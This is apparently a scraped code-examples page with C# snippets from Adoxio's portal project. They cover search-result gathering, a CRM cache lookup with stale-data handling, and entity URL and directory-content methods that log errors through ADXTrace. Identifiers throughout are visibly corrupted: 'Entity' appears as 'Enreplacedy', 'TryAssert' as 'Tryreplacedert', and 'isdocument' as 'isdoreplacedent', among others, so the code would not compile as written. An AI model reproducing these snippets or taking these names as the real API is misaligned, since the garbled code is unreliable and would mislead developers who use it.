                    if (relatedNotes.Any(note => note.Fragment == result.Fragment))
                    {
                        result.Fragment = GetKnowledgeArticleDescription(result);
                    }
                    result.Enreplacedy["relatedNotes"] = relatedNotes;
                }

                results.Add(result);

                if (results.Count >= resultLimit)
                {
                    stopwatch.Stop();

					ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("Gathered {0} results, done ({1}ms)", results.Count, stopwatch.ElapsedMilliseconds));

                    PortalFeatureTrace.TraceInstance.LogSearch(FeatureTraceCategory.Search, results.Count, stopwatch.ElapsedMilliseconds, string.Format("Gathered {0} results, done ({1}ms)", results.Count, stopwatch.ElapsedMilliseconds));

                    return GenerateResultPage(results, rawSearchResults.TotalHits, pageNumber, pageSize, rawSearchResults);
                }
            }

            stopwatch.Stop();

            // We asked for more hits than we got back from Lucene, and we still didn't gather enough valid
            // results. That's all we're going to get, so the number of results we got is the number of hits.
            if (searchLimit >= rawSearchResults.TotalHits)
            {
                ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("All available results ({0}) gathered, done ({1}ms)", results.Count, stopwatch.ElapsedMilliseconds));

                PortalFeatureTrace.TraceInstance.LogSearch(FeatureTraceCategory.Search, results.Count, stopwatch.ElapsedMilliseconds, string.Format("All available results ({0}) gathered, done ({1}ms)", results.Count, stopwatch.ElapsedMilliseconds));

                return GenerateResultPage(results, results.Count, pageNumber, pageSize, rawSearchResults);
            }

			ADXTrace.Instance.TraceInfo(TraceCategory.Application, string.Format("{0} results gathered so far ({1}ms)", results.Count, stopwatch.ElapsedMilliseconds));

            PortalFeatureTrace.TraceInstance.LogSearch(FeatureTraceCategory.Search, results.Count, stopwatch.ElapsedMilliseconds, string.Format("{0} results gathered so far ({1}ms)", results.Count, stopwatch.ElapsedMilliseconds));

            return GetUserSearchResults(query, searchLimit * ExtendedSearchLimitMultiple, offsetForNexreplacederation, resultLimit, resultFactory, pageNumber, pageSize, results);
        }

19 View Source File : OrganizationServiceCache.cs
License : MIT License
Project Creator : Adoxio

private TResult LookupAndInsert<TRequest, TResponse, TResult>(TRequest query, Func<TRequest, TResponse> execute, Func<TResponse, TResult> selector, string selectorCacheKey, bool allowStaleData = false)
		{
			int cacheMissedMetricValue;

			string queryText;

			var stopwatch = Stopwatch.StartNew();
			var cacheKey = GetCacheKey(query, selectorCacheKey, out queryText);
			var response = GetCachedResult(query, execute, selector, cacheKey, out cacheMissedMetricValue);

			var cacheItemDetail = Cache.GetCacheItemDetail(cacheKey, CacheRegionName);

			if (cacheItemDetail != null)
			{
				// If the item is marked dirty, fetch the latest changes from CRM.
				if (cacheItemDetail.CacheItemStatus == CacheItemStatus.Dirty)
				{
					// Set the cache item status to BeingProcessed, before fetching changes from CRM.
					if (cacheItemDetail.TrySetCacheItemStatus(CacheItemStatus.BeingProcessed))
					{
						using (sessionIdLock.Lock(cacheItemDetail.SessionId))
						{
							// Fetch the latest chagnes from CRM and update the cache item.
							cacheMissedMetricValue = 1;
							response = InnerExecute(query, execute, selector);
							Insert(cacheKey, query, response);
						}

						// Set the cache item status to update after it is updated in the cache.
						// Since inserting the latest data in the cache, would perform a cache.Set operation on the actual cache key, it would refresh the cacheItemDetail and cacheItemTelemetry items in the cache.
						// So we can skip the step to update the CacheItemStatus, since it is already updated to current.
					}
					else
					{
						// If thread was not able to flip the CacheItemStatus flag, it will access the stale data. Update the stale access count for the given key.
						ADXTrace.Instance.TraceInfo(TraceCategory.CacheInfra, string.Format("Cache hit with stale Data. Could not flip CacheItemStatus, CacheKey={0}, IsStaleAllowed={1}", cacheKey, cacheItemDetail?.IsStaleDataAllowed == true));
						Cache.IncrementStaleAccessCount(cacheKey, CacheRegionName);
					}
				}
				// The below logic is handle those scenarios where the reader is the same thread which marked the cache item as dirty.
				// In such case, we would not want the reader to return the stale data.
				// Ideally it should be this reader that should update the cache item. But since there is no way to ensure that, we should keep it blocked until the data in the cache is refreshed.
				// To identify that this is the same thread which marked the cache item dirty, we are using session id (which is stored in CacheItemDetail)
				else if (cacheItemDetail.CacheItemStatus == CacheItemStatus.BeingProcessed
					&& !string.IsNullOrEmpty(cacheItemDetail.SessionId)
					&& cacheItemDetail.SessionId.Equals(GetSessionId()))
				{
					using (sessionIdLock.Lock(cacheItemDetail.SessionId))
					{
						// Retrieve the latest response from cache.
						ADXTrace.Instance.TraceInfo(TraceCategory.CacheInfra, string.Format("Cache hit - Session Lock, CacheKey={0}, IsStaleAllowed={1}", cacheKey, cacheItemDetail?.IsStaleDataAllowed == true));
						response = GetCachedResult(query, execute, selector, cacheKey, out cacheMissedMetricValue);
					}
				}
				else if (cacheItemDetail.CacheItemStatus == CacheItemStatus.BeingProcessed)
				{
					// Update the stale access account for the given cache key.
					ADXTrace.Instance.TraceInfo(TraceCategory.CacheInfra, string.Format("Cache hit with stale Data, CacheKey={0}, IsStaleAllowed={1}", cacheKey, cacheItemDetail?.IsStaleDataAllowed == true));
					Cache.IncrementStaleAccessCount(cacheKey, CacheRegionName);
				}

				// Check if we want to allow stale data for this request or not.
				if (allowStaleData)
				{
					// Retrieve the latest cacheItemDetail from the cache, in case it is refresed
					cacheItemDetail = Cache.GetCacheItemDetail(cacheKey, CacheRegionName);

					if (cacheItemDetail != null)
					{
						cacheItemDetail.IsStaleDataAllowed = true;
					}
				}
			}

			stopwatch.Stop();
			MdmMetrics.CacheMissedMetric.LogValue(cacheMissedMetricValue);

			if (cacheMissedMetricValue == 0)
			{
				Cache.IncrementAccessCount(cacheKey, CacheRegionName);

				var request = query as OrganizationRequest;

				if (request != null)
				{
					ServicesEventSource.Log.OrganizationRequest(request, stopwatch.ElapsedMilliseconds, true);
				}
			}
			else
			{
				// HttpContext.Current is null in case of call out of request
				var isAuthenticated = HttpContext.Current != null && HttpContext.Current.Request.IsAuthenticated;
				ADXTrace.Instance.TraceInfo(TraceCategory.CacheInfra, string.Format("Cache miss, Query={0}, IsAuthenticated={1}, IsStaleAllowed={2}", queryText, isAuthenticated, cacheItemDetail?.IsStaleDataAllowed == true));
			}

			return this.ReturnMode == OrganizationServiceCacheReturnMode.Cloned ? this.InternalCloneResponse(response) : response;
		}

19 View Source File : EntityFileSystem.cs
License : MIT License
Project Creator : Adoxio

protected override string GetUrl()
		{
			try
			{
				return UrlProvider.GetUrl(ServiceContext, Enreplacedy);
			}
			catch (Exception e)
			{
				ADXTrace.Instance.TraceError(TraceCategory.Application, string.Format("Error getting URL for enreplacedy [{0}:{1}]: {2}", EnreplacedyReference.LogicalName, EnreplacedyReference.Id, e.ToString()));

                return null;
			}
		}

19 View Source File : IDirectory.cs
License : MIT License
Project Creator : Adoxio

protected virtual DirectoryContent GetDirectoryContent(Enreplacedy enreplacedy)
		{
			if (enreplacedy == null)
			{
				return null;
			}

			string url;

			try
			{
				url = UrlProvider.GetUrl(ServiceContext, enreplacedy);
			}
			catch (Exception e)
			{
				ADXTrace.Instance.TraceError(TraceCategory.Application, string.Format("Error getting URL for enreplacedy [{0}:{1}]: {2}", enreplacedy.LogicalName, enreplacedy.Id, e.ToString()));

                return null;
			}

			if (url == null)
			{
				return null;
			}

			bool canWrite;

			try
			{
				if (!SecurityProvider.Tryreplacedert(ServiceContext, enreplacedy, CrmEnreplacedyRight.Read))
				{
					return null;
				}

				canWrite = SecurityProvider.Tryreplacedert(ServiceContext, enreplacedy, CrmEnreplacedyRight.Change);
			}
			catch (InvalidOperationException e)
			{
				ADXTrace.Instance.TraceError(TraceCategory.Application, string.Format("Error validating security for enreplacedy [{0}:{1}]: {2}", enreplacedy.LogicalName, enreplacedy.Id, e.ToString()));

                return null;
			}
			
			var content = new DirectoryContent
			{
				url = url,
				date = FormatDateTime(enreplacedy.GetAttributeValue<DateTime?>("modifiedon")),
				read = true,
				rm = false,
			};

			DirectoryType directoryType;

			if (FileSystem.EnreplacedyDirectoryTypes.TryGetValue(enreplacedy.LogicalName, out directoryType))
			{
				content.hash = new DirectoryContentHash(enreplacedy, true).ToString();
				content.name = directoryType.GetDirectoryName(enreplacedy);
				content.mime = DirectoryMimeType;
				content.size = 0;
				content.write = directoryType.SupportsUpload && SecurityProvider.Tryreplacedert(ServiceContext, enreplacedy, CrmEnreplacedyRight.Change);

				return content;
			}

			content.write = canWrite;
			content.name = enreplacedy.GetAttributeValue<string>("adx_name");
			content.hash = new DirectoryContentHash(enreplacedy).ToString();

			if (enreplacedy.LogicalName != "adx_webfile")
			{
				content.mime = "application/x-{0}".FormatWith(enreplacedy.LogicalName);
				content.size = 0;

				return content;
			}

			var fileNote = ServiceContext.GetNotes(enreplacedy)
				.Where(e => e.GetAttributeValue<bool?>("isdoreplacedent").GetValueOrDefault())
				.OrderByDescending(e => e.GetAttributeValue<DateTime?>("createdon"))
				.FirstOrDefault();

			if (fileNote == null)
			{
				return null;
			}

			content.mime = fileNote.GetAttributeValue<string>("mimetype");
			content.size = fileNote.GetAttributeValue<int?>("filesize").GetValueOrDefault();
			content.rm = canWrite;

			return content;
		}

See More Examples